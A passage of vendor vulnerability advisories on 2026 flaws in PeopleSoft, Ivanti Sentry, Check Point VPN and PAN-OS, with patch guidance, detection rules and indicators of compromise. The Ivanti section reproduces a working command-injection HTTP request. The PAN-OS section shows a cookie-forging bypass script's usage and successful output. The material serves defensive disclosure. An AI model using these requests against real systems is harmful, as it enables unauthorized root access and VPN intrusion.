Post-exploitation activity observed by Mandiant included the deployment of MeshCentral (an open-source, and self-hosted web-based remote monitoring and management platform) remote management agents configured to masquerade as Microsoft Azure services (e.g., meshagent64-azure-ops.exe), with C2 communications directed to wss://azurenetfiles[.]net:443/agent.ashx. The attackers performed internal reconnaissance of PeopleSoft configurations, deployed lateral movement scripts, and exfiltrated data using zstd compression.

Mitigation guidance

Organizations running PeopleTools versions 8.61 or 8.62 should apply the vendor-supplied patch on an emergency basis, without waiting for a regular patch cycle to occur. Oracle has characterized this as a high-priority risk reduction measure.

In addition to patching, organizations should implement the following compensating controls:

  • Disable the Environment Management Hub (EMHub) Service in multi-server configurations, or completely remove the PSEMHUB application in single-server configurations.

  • Block external access to /PSEMHUB/* and /PSIGW/HttpListeningConnector at the network perimeter or firewall level. Per Mandiant, restricting these endpoints is considered non-breaking for standard end-user PeopleSoft Internet Architecture (PIA) browser sessions.

  • Monitor outbound SMB traffic (TCP port 445) from PeopleSoft servers to untrusted external destinations.

Given that exploitation occurred as early as May 27, 2026, Rapid7 strongly recommends investigating for signs of compromise even after patching, using the indicators of compromise outlined below.

For the latest mitigation guidance, please refer to the Oracle security alert and Mandiant's report.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-35273 with authenticated vulnerability checks available in the 12th June 2026 content release.

Intelligence Hub

Customers leveraging Rapid7's Intelligence Hub can track the latest developments surrounding CVE-2026-35273, including indicators of compromise (IOCs) from the Mandiant report published on June 11, 2026.

Indicators of compromise

The following indicators of compromise are sourced from Mandiant's report. Mandiant has also published a GTI collection with additional IOCs for registered users.

Network indicators

Staging and C2 infrastructure:

  • 142.11.200[.]186

  • 142.11.200[.]187

  • 142.11.200[.]188

  • 142.11.200[.]189

  • 142.11.200[.]190

  • azurenetfiles[.]net (C2 domain masquerading as Microsoft Azure)

  • 176.120.22[.]24 (ShinyHunters DLS mirror)

File indicators

Filename

Description

SHA-256

meshagent64-azure-ops.exe

Pre-configured Windows MeshCentral agent

f02a924c9ff92a8780ce812511341182c6b509d45bc59f3f7b522e37225d24fc

meshagent64-v2.exe

Pre-configured Windows MeshCentral agent

d83fdb9e53c5ff03c4cb0451ea1bebd79b53f29eadc1e2fa394c7af13a86ce2f

meshagent32-azure-ops.exe

Pre-configured Windows MeshCentral agent (32-bit)

c7e9332731b06644fc73e0046a2a89eaa59b09f54250e9bd622467187351711f

meshagent

Unconfigured Linux MeshCentral agent

68257a6f9ff196179ec03624e849927f26599eb180a7c82e14ef5bc4e93bc309

.bash_history

Attacker command history

2ab684d93c1553fad87041b4dea97188a97e78589deee2a7bacff905564f3a35

Host-based indicators

  • Unexpected .jsp files under <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/

  • Unauthorized files or directories under .../PSEMHUB.war/envmetadata/transactions/

  • Unexpected directories named logs, persistantstorage, or scratchpad under PSEMHUB paths

  • Recently created or modified .xml files under <docroot>/envmetadata/data/environment/ (potential XMLDecoder persistence)

  • Defacement and extortion marker file: README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT

Log-based indicators

HTTP POST requests to the following endpoints from external source IPs:

  • /PSEMHUB/hub

  • /PSIGW/HttpListeningConnector

Requests to /PSIGW/HttpListeningConnector containing loopback addresses (127.0.0.1, localhost, ::1) or internal IP ranges within request headers or parameters may indicate SSRF exploitation.

Updates

  • June 12, 2026: Initial publication.

  • June 12, 2026: CVE added to CISA KEV.

CVE-2026-10520, CVE-2026-10523 - Multiple critical vulnerabilities affecting Ivanti Sentry

Overview

On June 9, 2026, Ivanti published a security advisory for two critical vulnerabilities affecting Ivanti Sentry (formerly known as MobileIron Sentry), which per the vendor website is an “in-line gateway that manages, encrypts, and secures traffic between the mobile device and back-end enterprise systems”. The most severe issue, CVE-2026-10520, is an OS command injection vulnerability with a CVSS score of 10.0 that allows a remote unauthenticated attacker to achieve remote code execution (RCE) with root privileges. The second vulnerability, CVE-2026-10523, is an authentication bypass vulnerability with a CVSS score of 9.9 that allows a remote unauthenticated attacker to create arbitrary administrative accounts and obtain full administrative access. Ivanti has stated that they are not aware of any customers being exploited by either of these vulnerabilities at the time of disclosure. 

CVE

CVSSv3.1

CWE

CVE-2026-10520

10.0 (Critical)

OS Command Injection (CWE-78)

CVE-2026-10523

9.9 (Critical)

Authentication Bypass Using an Alternate Path or Channel (CWE-288)

On June 10, 2026, watchTowr published a technical analysis of CVE-2026-10520 that includes a proof-of-concept (PoC) exploit for unauthenticated RCE. Given the trivial nature of exploitation and the availability of a public PoC, exploitation in-the-wild is likely to begin. Ivanti Sentry has featured on the CISA KEV list twice in the past (for the vulnerabilities CVE-2023-38035 and CVE-2020-15505), so we know threat actors will likely target this product. 

On June 11, 2026, CVE-2026-10520 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. With active exploitation now occurring, organizations running affected versions of Ivanti Sentry should remediate these issues on an urgent basis, outside of normal patching cycles.

Technical overview for CVE-2026-10520

Based upon the technical analysis by watchTowr, CVE-2026-10520 resides in the ConfigServiceController class within the Sentry web application, which is accessible via a POST request to the unauthenticated endpoint /mics/api/v2/sentry/mics-config/handleMessage.

The handleMessage endpoint accepts an attacker supplied message parameter that is parsed as an internal configuration command. This ultimately results in arbitrary OS command execution as root with an attacker control OS command. Shown below is an example HTTP request generated by the public PoC to execute the id command on an affected system:

POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.33.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
message=execute+system+%2Fconfiguration%2Fsystem%2Fcommandexec+%3Ccommandexec%3E%3Cindex%3E1%3C%2Findex%3E%3Creqandres%3Eid%3C%2Freqandres%3E%3C%2Fcommandexec%3E

Mitigation guidance

A vendor-supplied update is available to remediate both CVE-2026-10520 and CVE-2026-10523. The following versions of Ivanti Sentry are affected:

  • Ivanti Sentry 10.7.0 and below

  • Ivanti Sentry 10.6.1 and below

  • Ivanti Sentry 10.5.1 and below

The following fixed versions of Ivanti Sentry remediate both vulnerabilities:

  • Ivanti Sentry 10.7.1

  • Ivanti Sentry 10.6.2

  • Ivanti Sentry 10.5.2

Given the critical severity of these vulnerabilities, the availability of a public PoC exploit for CVE-2026-10520, and the unauthenticated attack vector, Rapid7 strongly recommends updating affected Ivanti Sentry appliances on an urgent basis, outside of normal patching cycles.

For the latest mitigation guidance, please refer to the vendor's security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-10520 and CVE-2026-10523 with unauthenticated vulnerability checks available in the June 11 content release.

Updates

  • June 10, 2026: Initial publication.
  • June 11, 2026: Updated to reflect availability of vulnerability checks.
  • June 12, 2026: Updated Overview to add new CISA KEV reference.

Critical Check Point VPN Zero-Day Exploited in the Wild (CVE-2026-50751)

Overview

On June 8, 2026, Check Point published a security advisory for CVE-2026-50751, a critical authentication bypass vulnerability affecting Check Point Remote Access VPN, Mobile Access, and Spark Firewall products. The vulnerability affects deployments configured to use the deprecated IKEv1 key exchange protocol where gateways accept legacy Remote Access clients and do not require a machine certificate for connections.

CVE-2026-50751, classified as improper authentication (CWE-287), has a CVSS score of 9.3. The vulnerability stems from a logic flow weakness in how Remote Access and Mobile Access components validate certificates during IKEv1 key exchange; successful exploitation allows an unauthenticated attacker to establish a VPN session without providing valid credentials. Per the vendor, additional post-authentication activity is required to access internal resources or escalate privileges.

Check Point has indicated that CVE-2026-50751 is being actively exploited in the wild, with observed activity dating back to May 7, 2026 and an increase in early June. The vendor characterizes the campaign as limited in scope, affecting several dozen organizations. At least one incident has been linked to a Qilin ransomware affiliate, which Check Point assesses with medium confidence. Rapid7 has observed two cases with high confidence that can be attributed to CVE-2026-50751. As of June 8, 2026,  this vulnerability has been added to the CISA KEV.

Separately, during its investigation Check Point identified a related vulnerability, CVE-2026-50752 (CVSS 7.4), in the same IKEv1 code path that could enable a man-in-the-middle attack against site-to-site VPN tunnels under certain configurations. No exploitation of CVE-2026-50752 has been observed.

Check Point VPN products have been targeted by zero-day vulnerabilities in the past. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was exploited in the wild and subsequently added to the CISA Known Exploited Vulnerabilities (KEV) catalog. Organizations running affected Check Point products are urged to apply the available hot fixes and follow the vendor guidance to remediate these issues.

Mitigation guidance

Check Point has released hotfixes to remediate CVE-2026-50751. Affected organizations should apply the available updates on an emergency basis, without waiting for a regular patch cycle to occur.

The following products and versions are affected (Remote Access VPN, Mobile Access / SSL VPN, Spark Firewall):

  • R80.20.X (End of Support)

  • R80.40 (End of Support)

  • R81 (End of Support)

  • R81.10 (End of Support)

  • R81.10.X

  • R81.20

  • R82

  • R82.00.X

  • R82.10

Notably, four of the nine affected version branches (R80.20.X, R80.40, R81, R81.10) have reached End of Support. Organizations still running these versions should prioritize migration to a supported release.

For organizations unable to immediately apply the hotfix, Check Point has provided the following alternative mitigations:

  • Remove support for the legacy remote access client

  • Configure global properties for Remote Access VPN authentication to IKEv2 only

  • Set machine certificate authentication as mandatory

  • Enable IPS and download the latest signatures

Rapid7 strongly recommends looking for signs of compromise even after the hotfix has been applied. Per Check Point's advisory, incident response teams should prioritize forensic log audits and configuration reviews starting from May 7, 2026, the earliest known date of exploitation.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-50751 with a vulnerability check available in the June 9 content release.

Intelligence Hub

IntelHub customers can look into the platform to search for more details and correlate the indicators of compromise, like known malicious IPs and known post exploitation ELF payloads, with the data from their own environment.

Managed Detection Response (MDR)

The following detection rules are available for InsightIDR and Managed Detection Response (MDR) customers:

  • Suspicious Network Connection - Critical Check Point VPN Zero-Day Exploited in the Wild (CVE-2026-50751)

  • Suspicious Process - Critical Check Point VPN Zero-Day Exploited in the Wild (CVE-2026-50751)

Indicators of compromise

Check Point has published the following indicators associated with the CVE-2026-50751 exploitation campaign. The attacker infrastructure consists of VPS hosts from several providers (Kaupo Cloud HK, Shock Hosting, Vultr Holdings), and Check Point notes that in some cases, the VPS region matched the geography of the targeted organization.

IP addresses:

  • 45.77.149[.]152

  • 209.182.225[.]136

  • 38.60.157[.]139

  • 162.33.177[.]101

  • 45.76.26[.]42

  • 144.208.127[.]155

  • 38.54.88[.]201

  • 38.54.107[.]167

  • 66.42.99[.]200

File hashes (MD5):

  • 52fda5c1b9704544f32ee98d9060e689

  • 51d39aa39478beeac94f2d12f682ecce

Check Point observed post-exploitation attempts to retrieve ELF payloads from attacker-controlled servers, and identified ties to the Qilin ransomware operation based on binary analysis. For the full and most current list of IOCs, please refer to the vendor advisory.

Updates

  • June 8, 2026: Initial publication.

  • June 8, 2026: Rapid 7 observations of EITW.
  • June 9, 2026: CVE added to CISA KEV.

  • June 10, 2026: Updated to reflect availability of a vulnerability check and information for Intelligence Hub customers.
  • June 11, 2026: Additional exploitation information determined by Rapid7.

Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257)

Overview

On May 13, 2026, Palo Alto Networks published a security advisory for CVE-2026-0257, a medium severity authentication bypass affecting PAN-OS and Prisma Access when a specific configuration is present. Successful exploitation of this vulnerability allows a remote unauthenticated attacker to successfully establish a VPN connection through the GlobalProtect gateway of an affected appliance.

Rapid7 MDR identified successful exploitation across numerous customers, however we did not observe any indication of successful lateral movement from the devices. The earliest date for observed exploitation was May 17, 2026.  As of May 29, 2026,  this vulnerability has been added to the CISA KEV.

The CVE was originally assigned a CVSSv4 score of 4.7, medium severity. Due to the circumstances surrounding this vulnerability Rapid7 urges that organizations treat this as a critical vulnerability. An authentication bypass in an edge facing enterprise VPN appliance can have significant impact to affected organizations. As such, organizations running affected appliances are urged to upgrade to a vendor supplied patch on an urgent basis.

Note that, as of May 29, Palo Alto Networks updated their security advisory to reflect a change in the CVSS score. The CVSSv4 score was changed from 4.7 to 7.8, with high severity to inform their customers to patch with the highest urgency. 

Observed Attacker Behavior

On 2026-05-18 01:51:37 UTC, Rapid7 MDR responded to a 'Suspicious VPN Authentication - Local Account Logon via Generic Non-Human Identity' alert. During the initial investigation, Rapid7 observed a suspicious cookie authentication to the local admin account across multiple customer environments from the same hosting provider, Vultr.

<14>May 18 01:51:37 palovpn-01 1,2026/05/18 01:51:37,010101010101,GLOBALPROTECT,0,2817,2026/05/18 01:51:37,vsys1,gateway-auth,login,Cookie,,admin,US,GP-CLIENT,104.207.144.154,0.0.0,0.0.0.0,0.0.0.0,aa:bb:cc:dd:ee:ff,,6.0.0,,Linux,"linux-64",1,,,"Auth latency: 78ms, profile: local_auth_profile",success,,0,,0,GP-Gateway,0101010101010101010,0x0,2026-05-18T01:51:37.264-05:00,,,,,,0,0,0,0,,palovpn-01,1,",

GlobalProtect Authentication Log

Rapid7 MDR analyzed the Palo Alto tech support files across the impacted customers and observed that Cloud Authentication Service (CAS) was disabled and the GlobalProtect portal or gateway had authentication override cookies enabled. Based on these findings, MDR analysts concluded that this was likely exploitation of CVE-2026-0257. Subsequent analysis by Rapid7 Labs confirmed this was accurate by validating a successful proof-of-concept.

Rapid7 MDR observed a second wave of exploitation on May 21st. Due to the consistent MAC address, Rapid7 believes both waves of exploitation are likely from the same threat actor (TA). However, the second wave of compromises originated from the hosting provider, Dromatics Systems. In this wave of exploitation, Rapid7 observed VPN IP assignment following the cookie authentication, granting them access to the internal network. Rapid7 observed POST requests to /ssl-vpn/hipreport.esp and /ssl-vpn/getconfig.esp in the cases where a VPN tunnel was successfully established. The first submits security profile information and the second to establish the secure tunnel. Across multiple customers, Rapid7 observed successful exploitation via authentication probes using forged cookies, but the appliance accepted the cookie without a full VPN session being established in 8 out of 10 impacted MDR customers.

<14>May 21 01:54:39 FW-PA-A 1,2026/05/21 01:54:38,010101010101,GLOBALPROTECT,0,2818,2026/05/21 01:54:38,vsys1,gateway-auth,login,Cookie,,admin,US,DESKTOP-GP01,146.19.216.125,0.0.0.0,0.0.0.0,0.0.0.0,aa:bb:cc:dd:ee:ff,,6.0.0,Windows,"Microsoft Windows 10 Pro , 64-bit",1,,,"Auth latency: 1019ms, profile: SAML-o365-GP",success,,0,,0,GlobalProtect_External_Gateway,0101010101010101010 ,0x8000000000000000,2026-05-21T01:54:39.142-05:00,,,,,,30,241,35,0,,FW-PA-A,1,,",

GlobalProtect Authentication Log

Technical Analysis

Per the vendor advisory, we know the issue lies in a feature called “authentication override”. This feature allows a GlobalProtect portal or gateway to issue cookies to an authenticated user. The authenticated user can then use an authentication override cookie in future communications to the GlobalProtect portal or gateway in lieu of re-authenticating via credentials, akin to a bearer token. This is not a feature that is enabled by default.

We also know from reading the vendor advisory that the vulnerability requires a certain configuration in how certificates are used to encrypt and decrypt these authentication override cookies. Specifically, the certificate used to encrypt and decrypt authentication override cookies must not be the same certificate used for the GlobalProtect portal or gateway’s HTTPS service. This is a significant clue to how the vulnerability works.

To explore what an authentication override cookie looks like and how they are created, we can look at the implementation in the /usr/local/bin/gpsvc binary which implements the GlobalProtect service (Our testing appliance was running PAN-OS 10.2.8 in a vulnerable configuration). Inspecting the main_DoAuthLogin function, we see that if a HTTP form value of either portal-userauthcookie or portal-prelogonuserauthcookie is present during a POST request to /ssl-vpn/login.esp, authentication will be performed by a call to main_AuthWithCookie. This function will take the incoming encrypted cookie value stored in either portal-userauthcookie or portal-prelogonuserauthcookie, decrypt it and extract the cookies user name, domain name, host id, client OS, remote address, and timestamp (as auth override cookies have a lifetime after which they will expire).

void __gostk main_AuthWithCookie(
        main_GpTask_0 *t,
        paloaltonetworks_com_libs_common_AuthProfile *authProfile,
        string authCookie,
        string key,
        string stage,
        uint32 cookieLifetime,
        uint32 eventId,
        uint32 netMask,
        bool checkSrcIp,
        main_authResult_0 *result,
        string defaultDescription)
{
// ...

  ts = 0;
  errorCode = 0;
  user = 0;
  domain = 0;
  hostId = 0;
  clientOs = 0;
  remoteAddr = 0;
  result->retCode = 0;
  startTime = time_Now();
  result->cookie_auth_status = -1;
  t->Variables.authMethod.len = 6;
if ( *(_DWORD *)&runtime_writeBarrier.enabled )
    runtime_gcWriteBarrier();
else
t->Variables.authMethod.str = (uint8 *)"Cookie";
  str = authProfile->AuthProfileName.str;
  t->Variables.authProfile.len = authProfile->AuthProfileName.len;
if ( *(_DWORD *)&runtime_writeBarrier.enabled )
    runtime_gcWriteBarrier();
else
t->Variables.authProfile.str = str;
  v27 = main_DecryptAppAuthCookie(t, authCookie, key, &user, &domain, &hostId, &clientOs, &remoteAddr, &ts);

If we look at the main_DecryptAppAuthCookie function we can begin to see the problem. The incoming encrypted cookie is base64 decoded and then decrypted using a private key. The decrypted content is then trusted implicitly, with no signature verification of any kind occurring after decryption.

error __gostk main_DecryptAppAuthCookie(
        main_GpTask_0 *t,
        string authCookie,
        string privateCert,
        string *user,
        string *domain,
        string *hostId,
        string *clientOs,
        string *remoteAddr,
        int64 *ts)
{
// ...

  if ( privateCert.len )
  {
    *(retval_95DD80 *)&text[48] = paloaltonetworks_com_libs_common_DecryptRsaPrivateWithBase64Std(
                                    privateCert,
                                    (string)0LL,
                                    authCookie);

The implication here is that anyone who knows the public key for the certificate used by the authentication override feature to encrypt and decrypt cookies, can successfully forge and encrypt an arbitrary authentication override cookie. The question then becomes, how does an attacker learn the correct public key to use in this attack?

This brings us back to the vendor's advisory where they state “do not reuse the portal or gateway certificate, and do not share this certificate with other features or users”.

If a GlobalProtect portal or gateway has reused the certificate for encrypting and decrypting cookies with another feature, such as the HTTPS service of the portal or gateway, then a remote unauthenticated attacker can discover the public key for that certificate. In doing so the attacker will be able to successfully forge and encrypt arbitrary authentication override cookies. As these forged cookies will be successfully decrypted server side, they will be trusted and an authentication bypass will be achieved. An attacker can use a valid forged authentication override cookie to login and establish a VPN connection.

In addition to Exposure Command and InsightVM customers being able to assess their exposure with authenticated checks, a publicly available proof-of-concept script to test if an appliance is vulnerable to CVE-2026-0257 has been developed by Rapid7 Labs. The script will retrieve all certificates in the chain for the HTTPS service of either a GlobalProtect portal or gateway. Each certificate in the chain is iterated over and an authentication override cookie is forged using each certificate's public key. This forged cookie is then tested against the GlobalProtect portal or gateway, and the script reports back if authentication was successful or not. 

The usage of the script is shown below.

$ python3 forge_cookie.py --help
usage: forge_cookie.py [-h] --target TARGET [--port PORT] [--user USER] [--domain DOMAIN] [--host-id HOST_ID] [--client-os CLIENT_OS] [--client-ip CLIENT_IP] [--context {gateway,portal,both}] [--verbose]

Forge a GlobalProtect auth override cookie using the public key from TLS (CVE-2026-0257).

options:
  -h, --help            show this help message and exit
  --target TARGET       Target GP portal/gateway IP/hostname
  --port PORT           Target port (default: 443)
  --user USER           Username to forge cookie for (default: admin)
  --domain DOMAIN       Domain for cookie (default: empty)
  --host-id HOST_ID     Host ID for cookie (default: empty)
  --client-os CLIENT_OS
                        Client OS for cookie (default: Windows)
  --client-ip CLIENT_IP
                        Client IP in cookie (default: 0.0.0.0)
  --context {gateway,portal,both}
                        Context to test: gateway, portal, or both (default target)
  --verbose             Print full response

A successful invocation of the script against a vulnerable appliance is shown below. We can see the target's GlobalProtect gateway accepted a forged authentication override cookie using the second certificate in the chain.

$ python3 forge_cookie.py --target 192.168.86.99 --user haxor
[*] Retrieving certificate chain from 192.168.86.99:443 ...
  Found 2 certificate(s) in chain:
  [0] CN=192.168.86.99 (RSA 2048 bits, CA=False)
  [1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)

[*] Forging cookie for user 'haxor', testing each key

  Trying [0] CN=192.168.86.99
  [-] Failure - Gateway did not accepted the forged cookie
  [-] Failure - Portal did not accepted the forged cookie

  Trying [1] CN=GP-Lab-CA
  [+] Success - Gateway accepted the forged cookie
  Cookie: ng9ygxlaclylNXeSHcakXZPK06Fno0svVirz6RhRtA5mDmOaZyg/KMxUuM5lRvm1Rn1Z6vqaWQQPvQOHzwJnyldOmhUKy+HDMgIYtJ/kk3ypMqmFE7BbmPxnSKxKcQQbNIcxgkrhCwuJKwybuq0aaPVNzN9BSWmh1QmZj7oLjTEo9ExAXrm951mqYhh3+MgBCScaYqP23WzrC+vzqJB74sHoMUuFWIF8/sMYDMpvENOoI4nXAFCaRYSruW9FQQy5VTzNifNWkrYcdzDCXKiP8v4G098/2QoBbVoyHBZwbgHGBsRU3ZeSgoHjrhjxyotIshKVssUs8CRpuG2HlZBM0Q==

We can observe the successful authentication via the management interface, as shown below. The two initial failures correspond to the first certificate being used which was the incorrect certificate.

pan-os-monitor-gpsrv.png

Figure 1: PAN-OS Management Interface

Mitigation Guidance

According to the Palo Alto Networks advisory, the following product versions are affected by CVE-2026-0257:

Product

Affected

Unaffected

PAN-OS 12.1

< 12.1.4-h6

< 12.1.7

>= 12.1.4-h6

>= 12.1.7

PAN-OS 11.2

< 11.2.4-h17

< 11.2.7-h14

< 11.2.10-h7

< 11.2.12

>= 11.2.4-h17

>= 11.2.7-h14

>= 11.2.10-h7

>= 11.2.12

PAN-OS 11.1

< 11.1.4-h33

< 11.1.6-h32

< 11.1.7-h6

< 11.1.10-h25

< 11.1.13-h5

< 11.1.15

>= 11.1.4-h33

>= 11.1.6-h32

>= 11.1.7-h6

>= 11.1.10-h25

>= 11.1.13-h5

>= 11.1.15

PAN-OS 10.2

< 10.2.7-h34

< 10.2.10-h36

< 10.2.13-h21

< 10.2.16-h7

< 10.2.18-h6

>= 10.2.7-h34

>= 10.2.10-h36

>= 10.2.13-h21

>= 10.2.16-h7

>= 10.2.18-h6

Prisma Access 11.2.0

< 11.2.7-h13

>= 11.2.7-h13

Prisma Access 10.2.0

< 10.2.10-h36

>= 10.2.10-h36

Affected products must have the authentication override feature enabled in either the GlobalProtect portal or gateway, and must reuse the authentication override cookie encryption and decryption certificate with another feature in order to be vulnerable. As a mitigation, affected products should either disable the authentication override feature or generate a new certificate to use exclusively for the authentication override feature.

Please refer to the vendor advisory for the latest guidance.

Rapid7 Customers

Managed Detection Response (MDR)

The following detection rules are available for InsightIDR and Managed Detection Response (MDR) customers:

  • Suspicious Authentication - Palo Alto GlobalProtect Cookie Authentication to Local Admin Account

  • Threat Intel (Rapid7 MDR SOC/IR) - VPN Authentication via Spoofed MAC Address

  • Threat Intel (Rapid7 MDR SOC/IR) - Indicator of Compromise Observed 

  • Suspicious VPN Authentication - Palo Alto GlobalProtect Login via Default Hostname

  • Suspicious VPN Authentication - Local Account Logon via Generic Non-Human Identity

  • Suspicious VPN Authentication - Local Account

  • Suspicious Authentication - Vultr

  • Suspicious Authentication - Dromatics Systems

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0257 using an authenticated check available since the May 15 content release.

IntelHub

IntelHub customers can look into the Platform to search for more details and correlate the indicators of compromise with the data from their own environment.

Known Indicators of Compromise

Low-cost hosting providers; frequent origin of sustained threat campaigns.

Item

Description

104.207.144.154

Threat actor source IP

146.19.216.119

Threat actor source IP

146.19.216.120

Threat actor source IP

146.19.216.125

Threat actor source IP

209.99.191.137

Threat actor source IP

79.130.26.202

Threat actor source IP

DESKTOP-GP01

Machinename observed in the GlobalProtect logs alongside Windows authentications first observed on May 21, 2026

GP-CLIENT

Machinename observed in the GlobalProtect logs alongside Linux authentications first observed on May 17, 2026

Jocker

Machinename observed alongside 79.130.26.202

aa:bb:cc:dd:ee:ff

Spoofed MAC address observed in both waves of successful exploitation

Updates

  • May 29, 2026: Initial publication.
  • May 29, 2026: Added CISA KEV addition.
  • June 2, 2026: Added IntelHub information under Rapid7 Customers section, updated to reflect Palo Alto Networks change to security advisory (CVSS score change). Added 3 new IOCs (2 IPs and 1 machinename).
  • June 3, 2026: Added observed URI endpoints accessed for successful VPN connections to the Observed Attacker Behavior section.

CVE-2026-0265: Authentication Bypass in Palo Alto Networks PAN-OS

Overview

On May 13, 2026, Palo Alto Networks published a security advisory for CVE-2026-0265, a signature verification vulnerability that facilitates authentication bypass on PAN-OS, the operating system that most Palo Alto Networks firewalls run. This vulnerability allows a remote unauthenticated attacker with network access to bypass authentication when Cloud Authentication Service (CAS) is enabled and attached to a login interface; the vulnerable configuration is non-default but common. CVE-2026-0265 affects PAN-OS on PA-Series and VM-Series firewalls, as well as Panorama (virtual and M-Series) appliances. Cloud NGFW and Prisma Access are not affected.

Palo Alto Networks assigned CVE-2026-0265 a “High” 7.2 CVSS score. The advisory states that the vulnerability’s severity scoring depends on interface exposure; according to the vendor, risk is highest for unrestricted management interfaces equipped with CAS, while other login portals, such as GlobalProtect gateways, are lower risk. However, the researcher who reported the vulnerability, Harsh Jaiswal of HacktronAI, publicly disputed the vendor’s severity rating. Jaiswal stated on social media that the vulnerability advisory misrepresents the criticality of the bug and the affected components; according to the HacktronAI research team, they successfully exploited CVE-2026-0265 to bypass authentication controls on multiple corporations’ GlobalProtect portals and establish VPN access. Jaiswal stated that internet-facing components are affected, and HacktronAI plans to disclose full technical details the week of May 18.

As of May 14, Palo Alto Networks has not confirmed exploitation in-the-wild of CVE-2026-0265, and there is no public proof-of-concept exploit available. However, given the researcher's statements about the practical exploitability of this vulnerability and the pending disclosure of technical details, this will likely evolve. PAN-OS software has been a frequent target for threat actors; on May 6, 2026, the PAN-OS vulnerability CVE-2026-0300 was added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Patches for many affected version streams were published on May 13, and the remaining patches are expected on May 28, 2026.

Mitigation guidance

Organizations running PA-Series or VM-Series firewalls, or Panorama (virtual and M-Series) appliances, with Cloud Authentication Service (CAS) enabled should upgrade to a fixed version on an emergency basis. Patches are partially available, with many version stream fixes published on May 13 and additional version stream coverage expected on May 28. The following table outlines the affected and fixed versions:

PAN-OS version

Affected

Fixed

12.1

< 12.1.4-h5

< 12.1.7

>= 12.1.4-h5

>= 12.1.7 (ETA: 05/28)

11.2

< 11.2.4-h17

< 11.2.7-h13

< 11.2.10-h6

< 11.2.12

>= 11.2.4-h17 (ETA: 05/28)

>= 11.2.7-h13

>= 11.2.10-h6

>= 11.2.12 (ETA: 05/28)

11.1

< 11.1.4-h33

< 11.1.6-h32

< 11.1.7-h6

< 11.1.10-h25

< 11.1.13-h5

< 11.1.15

>= 11.1.4-h33

>= 11.1.6-h32

>= 11.1.7-h6 (ETA: 05/28)

>= 11.1.10-h25

>= 11.1.13-h5

>= 11.1.15 (ETA: 05/28)

10.2

< 10.2.7-h34

< 10.2.10-h36

< 10.2.13-h21

< 10.2.16-h7

< 10.2.18-h6

>= 10.2.7-h34 (ETA: 05/28)

>= 10.2.10-h36

>= 10.2.13-h21 (ETA: 05/28)

>= 10.2.16-h7 (ETA: 05/28)

>= 10.2.18-h6

Cloud NGFW

Not affected

N/A

Prisma Access

Not affected

N/A

Older unsupported PAN-OS versions should be upgraded to a supported fixed version.

To determine if an environment is vulnerable, the official advisory provides instructions to verify whether an authentication profile using CAS is enabled and attached to a login interface. Due to discrepancies in the information shared by the vendor and reporting researchers, Rapid7 advises patching instead of implementing workarounds, wherever possible.

For the latest official mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0265 with authenticated checks expected to be available in the May 15th content release.

Updates

  • May 14, 2026: Initial publication.

Critical Buffer Overflow in Palo Alto Networks PAN-OS User-ID Authentication Portal (CVE-2026-0300)

Overview

On May 6, 2026, Palo Alto Networks published a security advisory for CVE-2026-0300, a critical unauthenticated buffer overflow vulnerability affecting PAN-OS PA-Series and VM-Series firewall appliances. Prisma Access, Cloud NGFW, and Panorama appliances are not affected by this vulnerability. The vulnerability carries a CVSSv4 score of 9.3 and has been confirmed as exploited in the wild by the vendor.

CVE-2026-0300 is a buffer overflow (CWE-787) in the User-ID™ Authentication Portal (also known as Captive Portal), a non-default PAN-OS feature used to map IP addresses to usernames. An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted packets to a device with the Authentication Portal enabled, achieving arbitrary code execution with root privileges on the affected firewall. No authentication or user interaction is required.

Palo Alto Networks has confirmed limited exploitation in the wild targeting Authentication Portals exposed to either untrusted IP addresses or the public internet. No patches are currently available; fixed versions are expected to begin rolling out on May 13, 2026, with additional releases through May 28, 2026.

PAN-OS is among the most widely deployed enterprise firewall operating systems in the world. Shodan identifies approximately 225,000 internet-facing PAN-OS instances, representing a significant attack surface. Rapid7 strongly urges all organizations running affected PAN-OS versions with the User-ID Authentication Portal enabled to apply the available workarounds immediately and prioritize patching as soon as fixed versions become available.

Update #1: On May 6, 2026, CVE-2026-0300 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Palo Alto Networks Unit 42 also published a threat brief attributing observed exploitation to CL-STA-1132, a likely state-sponsored threat cluster that deployed open-source tunneling tools and conducted Active Directory enumeration following initial compromise.

Mitigation guidance

Organizations running PA-Series and VM-Series firewalls with the User-ID™ Authentication Portal enabled should apply the available workarounds immediately and prioritize patching as soon as fixed versions are released. Check the official documentation to establish whether the affected User-ID™ Authentication Portal is currently enabled.

According to the Palo Alto Networks advisory, the following versions are affected by CVE-2026-0300:

Product

Affected

Unaffected

Fix ETA

PAN-OS 12.1

< 12.1.4-h5

< 12.1.7

>= 12.1.4-h5

>= 12.1.7

05/13

05/28

PAN-OS 11.2

< 11.2.4-h17

< 11.2.7-h13

< 11.2.10-h6

< 11.2.12

>= 11.2.4-h17

>= 11.2.7-h13

>= 11.2.10-h6

>= 11.2.12

05/28

05/13

05/13

05/28

PAN-OS 11.1

< 11.1.4-h33

